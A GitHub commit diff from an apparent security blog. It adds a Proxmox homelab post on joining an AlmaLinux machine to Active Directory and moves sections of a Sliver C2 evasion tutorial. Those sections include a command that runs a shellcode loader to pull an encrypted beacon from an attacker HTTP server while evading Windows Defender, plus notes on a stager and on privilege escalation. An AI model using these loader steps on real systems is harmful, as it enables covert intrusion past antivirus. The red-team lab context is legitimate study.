Skip to content

Commit 31f7cc8

Browse files
bytebl33dbytebl33d
committed
Updated Sliver and added Proxmox Part 5
1 parent edb33ba commit 31f7cc8

5 files changed

Lines changed: 199 additions & 33 deletions

File tree

‎assets/images/homelab/almalinux-container-setup-config.png‎

87.9 KB
Loading

‎assets/images/homelab/almalinux-container-setup.png‎

62.7 KB
Loading

‎assets/images/homelab/pam-auth-update.png‎

83.6 KB
Loading

‎blog/proxmox-homelab-part5.md‎

Lines changed: 174 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,174 @@
1+
---
2+
layout: blog
3+
title: "Active Directory Home Lab with Proxmox - Part 5"
4+
seo_title: "Setting up and Active Directory (AD) Home Lab with Proxmox VE Part 5"
5+
date: 2025-06-1T16:38
6+
categories: ['Active-Directory', 'Homelab']
7+
---
8+
9+
![](/assets/images/headers/AD-banner.jpg)
10+
11+
Connecting Linux machines to an Active Directory (AD) domain can streamline user authentication and management in mixed-environment networks. In this post I will guide you through the process of joining a Linux machine to a Windows Active Directory domain, allowing for centralized authentication and simplified access control for your Linux servers.
12+
13+
# Setting Up Your Web Server
14+
To begin, we'll provision a new AlmaLinux container.
15+
16+
!!!info
17+
You need to make a privileged container in order to join it to the domain. To do this you first make a regular LXC, make a backup and restore it as privileged.
18+
!!!
19+
20+
21+
![](/assets/images/homelab/almalinux-container-setup.png)
22+
23+
![](/assets/images/homelab/almalinux-container-setup-config.png)
24+
25+
This container will serve as our web server and the machine we'll join to the Active Directory domain.
26+
27+
## Installing Necessary Packages
28+
Before joining the domain, you need to install several key packages that facilitate communication and integration with Active Directory. It's always a good practice to ensure your system is up-to-date before installing new software.
29+
30+
First, update and upgrade your existing packages:
31+
32+
```console
33+
[root@WEB01 ~]# yum update && yum upgrade
34+
```
35+
36+
Next, install the required packages. These include `sssd` (System Security Services Daemon) for authentication and identity management, `realmd` for domain joining, `oddjob` and `oddjob-mkhomedir` for home directory creation, `adcli` for Active Directory command-line tools, `samba-common` and `samba-common-tools` for Samba utilities, `krb5-workstation` for Kerberos authentication, and `openldap-clients` for LDAP client utilities.
37+
38+
```console
39+
[root@WEB01 ~]# yum update && yum upgrade
40+
[root@WEB01 ~]# yum install sssd realmd oddjob oddjob-mkhomedir adcli samba-common samba-common-tools krb5-workstation openldap-clients
41+
```
42+
43+
# Joining Active Directory
44+
With the necessary packages installed, you can now join your AlmaLinux machine to the Active Directory domain. This is done using the `realm` command, which simplifies the process of configuring Kerberos and SSSD for domain integration.
45+
46+
Execute the following command, replacing `CICADA.LOCAL` with your actual domain name and `Administrator` with an Active Directory user account that has permissions to join machines to the domain:
47+
48+
```console
49+
[root@WEB01 ~]# realm join CICADA.LOCAL -U Administrator
50+
Password for Administrator@CICADA.LOCAL: <REDACTED>
51+
```
52+
53+
You'll be prompted to enter the password for the Administrator account. If the join is successful, you can verify it by checking the machine's domain status. The `id` command with the machine's hostname followed by a dollar sign and the domain (`web01$@CICADA.LOCAL`) should show that the machine is recognized as a domain computer.
54+
55+
```console
56+
[root@WEB01 ~]# id 'web01$@CICADA.LOCAL'
57+
uid=136801114(web01$@cicada.local) gid=136800515(domain computers@cicada.local) groups=136800515(domain computers@cicada.local)
58+
```
59+
60+
As you can see, our machine is now recognized as a domain computer within Active Directory.
61+
62+
## Configuring SSSD and PAM for AD Integration
63+
To enable users to authenticate against Active Directory and have their home directories created automatically upon login, you need to configure SSSD and edit the PAM (Pluggable Authentication Modules) configuration for SSH.
64+
65+
First, ensure `openssh-server` is installed, as it's crucial for remote access and is often a primary way users will interact with the joined Linux machine.
66+
67+
```console
68+
[root@WEB01 ~]# dnf install openssh-server
69+
[root@WEB01 ~]# sudo systemctl start sssd
70+
[root@WEB01 ~]# sudo systemctl enable sssd
71+
```
72+
73+
Next, start and enable the `sssd` and `oddjobd` services. SSSD is responsible for handling authentication and identity lookups against Active Directory, while `oddjobd` (along with `oddjob-mkhomedir`) helps with tasks like creating home directories for domain users.
74+
75+
76+
```console
77+
[root@WEB01 ~]# sudo systemctl start oddjobd
78+
[root@WEB01 ~]# sudo systemctl enable oddjobd
79+
```
80+
81+
Now, edit the PAM configuration for SSH (`/etc/pam.d/sshd`) to allow SSSD to handle authentication and to enable automatic home directory creation.
82+
83+
```console
84+
[root@WEB01 ~]# vi /etc/pam.d/sshd
85+
auth required pam_sepermit.so
86+
auth include system-auth
87+
88+
account required pam_nologin.so
89+
account include system-auth
90+
91+
password include system-auth
92+
93+
session optional pam_keyinit.so force revoke
94+
session required pam_loginuid.so
95+
session include system-auth
96+
session required pam_limits.so
97+
session required pam_unix.so
98+
session optional pam_oddjob_mkhomedir.so skel=/etc/skel/ umask=0077 # For auto-home dir creation
99+
session optional pam_systemd.so
100+
```
101+
102+
Finally, configure the `sssd.conf` file to specify how SSSD should interact with your Active Directory domain. This file defines the domain settings, default shell, home directory creation, and access providers.
103+
104+
```console
105+
[root@WEB01 ~]# vi /etc/sssd/sssd.conf
106+
[sssd]
107+
domains = cicada.local
108+
config_file_version = 2
109+
services = nss, pam
110+
111+
[domain/cicada.local]
112+
ad_domain = cicada.local
113+
krb5_realm = CICADA.LOCAL
114+
default_shell = /bin/bash
115+
krb5_store_password_if_offline = True
116+
cache_credentials = True
117+
realmd_tags = manages-system joined-with-adcli
118+
id_provider = ad
119+
fallback_homedir = /home/%u
120+
use_fully_qualified_names = False
121+
ldap_id_mapping = True
122+
access_provider = ad
123+
```
124+
125+
## Authenticating with Kerberos and SSH
126+
To enable Kerberos authentication, you need to configure the `/etc/krb5.conf` file on your local machine. This file tells your system how to locate the Kerberos Key Distribution Center (KDC) for your domain. Add the following configuration:
127+
128+
```
129+
[libdefaults]
130+
default_realm = CICADA.LOCAL
131+
dns_lookup_realm = true
132+
dns_lookup_kdc = true
133+
udp_preference_limit = 0
134+
135+
[realms]
136+
CICADA.LOCAL = {
137+
kdc = dc01.cicada.local
138+
admin_server = dc01.cicada.local
139+
default_domain = cicada.local
140+
}
141+
142+
[domain_realm]
143+
.cicada.local = CICADA.LOCAL
144+
cicada.local = CICADA.LOCAL
145+
```
146+
147+
Now, you can request a Kerberos Ticket Granting Ticket (TGT) for a domain user and then use it to SSH into the Linux machine without needing to enter a password for each connection.
148+
149+
First, use `kinit` to obtain a TGT for your domain user (e.g., w.wonder):
150+
151+
```console
152+
$ kinit w.wonder
153+
Password for w.wonder@CICADA.LOCAL: P@ssw0rd123
154+
```
155+
156+
After entering the password, you can verify that you have a valid TGT using `klist`. Finally, you can SSH into your AlmaLinux machine using your domain username.
157+
158+
```console
159+
$ klist
160+
Ticket cache: FILE:/tmp/krb5cc_1000
161+
Default principal: w.wonder@CICADA.LOCAL
162+
163+
Valid starting Expires Service principal
164+
05/25/2025 18:20:11 05/26/2025 04:20:11 krbtgt/CICADA.LOCAL@CICADA.LOCAL
165+
renew until 05/26/2025 18:20:07
166+
05/25/2025 18:20:21 05/26/2025 04:20:11 host/web01.cicada.local@CICADA.LOCAL
167+
renew until 05/26/2025 18:20:07
168+
$ ssh w.wonder@web01.cicada.local
169+
```
170+
171+
You should be logged in without being prompted for a password, demonstrating successful Kerberos authentication and Active Directory integration!
172+
173+
# Conclusion
174+
By following these steps, you've successfully joined your Linux machine to a Windows Active Directory domain. This setup allows for centralized user authentication and management, significantly simplifying administration in environments with both Windows and Linux systems. Users can now seamlessly log in to your Linux machines using their Active Directory credentials, benefiting from single sign-on capabilities.

‎blog/sliver-evasion.md‎

Lines changed: 25 additions & 33 deletions
Original file line numberDiff line numberDiff line change
@@ -148,6 +148,13 @@ C:\Tools\ThreatCheck\bin\Release> ThreatCheck.exe -f C:\Tools\s3rp3ntLoader.exe
148148
[+] No threat found!
149149
```
150150

151+
### DInvoke Execution
152+
Now with everything set lets try to get a beacon from our victim machine (`172.16.0.5`). We will first make use of our **DInvoke Loader**.
153+
154+
![Sliver DInvoke Loader](/assets/images/maldev/sliver-execution.png)
155+
156+
After executing our custom shellcode loader, we can see it has grabbed our beacon file from our Python server (`rev.bin`), loaded the shellcode in memory and connected to our server without alerting Windows Defender. You see that I get a couple of beacon connections, because I ran the executable a couple of times.
157+
151158
No threats have been found! Our first loader looks good to go.
152159

153160
## Method 2: FilelessPELoader (C++)
@@ -175,6 +182,23 @@ aes.py cipher.bin key.bin ESSENTIAL_THEATER.exe
175182

176183
The generated files `cipher.bin` and `key.bin` can be passed to our loader as arguments. In the next section we will have a look at how we can make use of our loaders.
177184

185+
### FilelessPELoader Execution
186+
Now we can also try running our modified **FilelessPELoader** executable.
187+
188+
!!!info Note
189+
Don't forget to specify the IP and PORT as well as the encrypted payload and key files as arguments.
190+
!!!
191+
192+
```console
193+
$ python3 aes.py beacon.exe
194+
$ python3 -m http.server 8080
195+
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
196+
197+
PS C:\> .\FilelessPELoader.exe 192.168.129.40 8080 cipher.bin key.bin
198+
```
199+
200+
![Sliver FilelessPELoader](/assets/images/maldev/sliver-FilelessPELoader.png)
201+
178202
## Method 3: Custom Encrypted Stager
179203
Sliver has built-in support for custom stagers making use of encryption and compression when serving stages. First we need to setup our profile, listener, and stage listener with the following command:
180204

@@ -225,38 +249,6 @@ $CompressionAlgorithm = "deflate9"
225249

226250
This script is a PowerShell loader that is hosted on our server, intented to be downloaded and executed once an attacker gains code execution. The script will load the stager into memory via reflection and performs the `DownloadAndExecute` operation that downloads our Sliver agent from our payload server and executes it.
227251

228-
## Sliver in Action
229-
Moving to our attack machine, we run our Python HTTP server where our shellcode is located.
230-
231-
```console
232-
$ cd /tmp && python3 -m http.server 8080
233-
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
234-
```
235-
236-
### DInvoke Execution
237-
Now with everything set lets try to get a beacon from our victim machine (`172.16.0.5`). We will first make use of our **DInvoke Loader**.
238-
239-
![Sliver DInvoke Loader](/assets/images/maldev/sliver-execution.png)
240-
241-
After executing our custom shellcode loader, we can see it has grabbed our beacon file from our Python server (`rev.bin`), loaded the shellcode in memory and connected to our server without alerting Windows Defender. You see that I get a couple of beacon connections, because I ran the executable a couple of times.
242-
243-
### FilelessPELoader Execution
244-
Now we can also try running our modified **FilelessPELoader** executable.
245-
246-
!!!info Note
247-
Don't forget to specify the IP and PORT as well as the encrypted payload and key files as arguments.
248-
!!!
249-
250-
```console
251-
$ python3 aes.py beacon.exe
252-
$ python3 -m http.server 8080
253-
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
254-
255-
PS C:\> .\FilelessPELoader.exe 192.168.129.40 8080 cipher.bin key.bin
256-
```
257-
258-
![Sliver FilelessPELoader](/assets/images/maldev/sliver-FilelessPELoader.png)
259-
260252
### Encrypted Stager Execution
261253
Our PowerShell loader can be hosted on a webserver as a normal file. On the victim, the following command executes the download and staging of the agent which will result in an incoming session in sliver.
262254

@@ -268,7 +260,7 @@ In a minute we should get a session in Sliver with Defender stopping us.
268260

269261
![Sliver Session](/assets/images/maldev/sliver-session.png)
270262

271-
### Privilege Escalation
263+
## Privilege Escalation
272264
Since we now have an active beacon on our target, we can even go a step further and escalate privileges on the host.
273265
Use one of the beacons and run `sa-whoami` (installed via armory). This will run a `whoami /all` in a more safe way.
274266

0 commit comments

Comments
 (0)